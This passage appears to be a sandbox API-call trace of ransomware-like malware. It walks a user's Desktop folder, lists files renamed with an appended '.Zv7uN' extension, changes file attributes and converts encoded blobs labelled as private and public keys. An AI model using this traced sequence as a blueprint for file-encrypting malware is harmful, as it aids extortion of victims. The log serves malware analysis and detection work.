hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0127.309] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x60896020, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60896020, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0127.309] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0127.309] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.309] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x60896020, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60896020, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0127.309] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.309] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.309] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd52e40, ftCreationTime.dwHighDateTime=0x1d5d953, ftLastAccessTime.dwLowDateTime=0x6f3f4c60, ftLastAccessTime.dwHighDateTime=0x1d5dd27, ftLastWriteTime.dwLowDateTime=0x600b3740, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8a17, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="-W05T2XTav-M.m4a.Zv7uN", cAlternateFileName="-W05T2~1.ZV7")) returned 1 [0127.309] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.310] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.310] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8244c20, ftCreationTime.dwHighDateTime=0x1d5e343, ftLastAccessTime.dwLowDateTime=0xf12e8380, ftLastAccessTime.dwHighDateTime=0x1d5e605, ftLastWriteTime.dwLowDateTime=0x60171e20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12a8f, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="1CsJaMB8ujGXR0u-D.avi.Zv7uN", cAlternateFileName="1CSJAM~1.ZV7")) returned 1 [0127.310] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.310] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.310] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206c4c70, ftCreationTime.dwHighDateTime=0x1d5e4f0, ftLastAccessTime.dwLowDateTime=0x19204dd0, ftLastAccessTime.dwHighDateTime=0x1d5e64f, ftLastWriteTime.dwLowDateTime=0x19204dd0, ftLastWriteTime.dwHighDateTime=0x1d5e64f, nFileSizeHigh=0x0, nFileSizeLow=0xbb90, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="2ihEu7JjN.ots", cAlternateFileName="2IHEU7~1.OTS")) returned 1 [0127.310] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.310] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.310] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ea76b0, ftCreationTime.dwHighDateTime=0x1d5e3dc, ftLastAccessTime.dwLowDateTime=0x512b4e0, ftLastAccessTime.dwHighDateTime=0x1d5d92f, ftLastWriteTime.dwLowDateTime=0x60197f80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xef83, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="2RLAZi.mkv.Zv7uN", cAlternateFileName="2RLAZI~1.ZV7")) returned 1 [0127.310] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.310] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.310] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72355250, ftCreationTime.dwHighDateTime=0x1d5da9f, ftLastAccessTime.dwLowDateTime=0x50cc3c10, ftLastAccessTime.dwHighDateTime=0x1d5dab7, ftLastWriteTime.dwLowDateTime=0x601e4240, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x159c0, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="3EF9zUy0rQi_.avi.Zv7uN", cAlternateFileName="3EF9ZU~1.ZV7")) returned 1 [0127.310] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.310] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.310] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ff288a0, ftCreationTime.dwHighDateTime=0x1d5e7d5, ftLastAccessTime.dwLowDateTime=0x13ac3cb0, ftLastAccessTime.dwHighDateTime=0x1d5de5c, ftLastWriteTime.dwLowDateTime=0x13ac3cb0, ftLastWriteTime.dwHighDateTime=0x1d5de5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="7vWXs5wOoyRqHSZ3", cAlternateFileName="7VWXS5~1")) returned 1 [0127.310] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.310] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.311] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ff288a0, ftCreationTime.dwHighDateTime=0x1d5e7d5, ftLastAccessTime.dwLowDateTime=0x13ac3cb0, ftLastAccessTime.dwHighDateTime=0x1d5de5c, ftLastWriteTime.dwLowDateTime=0x13ac3cb0, ftLastWriteTime.dwHighDateTime=0x1d5de5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0127.311] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ff288a0, ftCreationTime.dwHighDateTime=0x1d5e7d5, ftLastAccessTime.dwLowDateTime=0x13ac3cb0, ftLastAccessTime.dwHighDateTime=0x1d5de5c, ftLastWriteTime.dwLowDateTime=0x13ac3cb0, ftLastWriteTime.dwHighDateTime=0x1d5de5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0127.311] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b61420, ftCreationTime.dwHighDateTime=0x1d5e108, ftLastAccessTime.dwLowDateTime=0x8e586650, ftLastAccessTime.dwHighDateTime=0x1d5e17c, ftLastWriteTime.dwLowDateTime=0x8e586650, ftLastWriteTime.dwHighDateTime=0x1d5e17c, nFileSizeHigh=0x0, nFileSizeLow=0x1892, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="VlTFLyFgh_cE1K.avi", cAlternateFileName="VLTFLY~1.AVI")) returned 1 [0127.311] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0127.311] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0127.311] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\VlTFLyFgh_cE1K.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\vltflyfgh_ce1k.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b61420, ftCreationTime.dwHighDateTime=0x1d5e108, ftLastAccessTime.dwLowDateTime=0x8e586650, ftLastAccessTime.dwHighDateTime=0x1d5e17c, ftLastWriteTime.dwLowDateTime=0x8e586650, ftLastWriteTime.dwHighDateTime=0x1d5e17c, nFileSizeHigh=0x0, nFileSizeLow=0x1892)) returned 1 [0127.311] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\VlTFLyFgh_cE1K.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\vltflyfgh_ce1k.avi")) returned 0x20 [0127.312] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\VlTFLyFgh_cE1K.avi", dwFileAttributes=0x80) returned 1 [0127.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.322] GetCurrentThreadId () returned 0xa30 [0127.322] GetCurrentThreadId () returned 0xa30 [0127.322] GetCurrentThreadId () returned 0xa30 [0127.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOK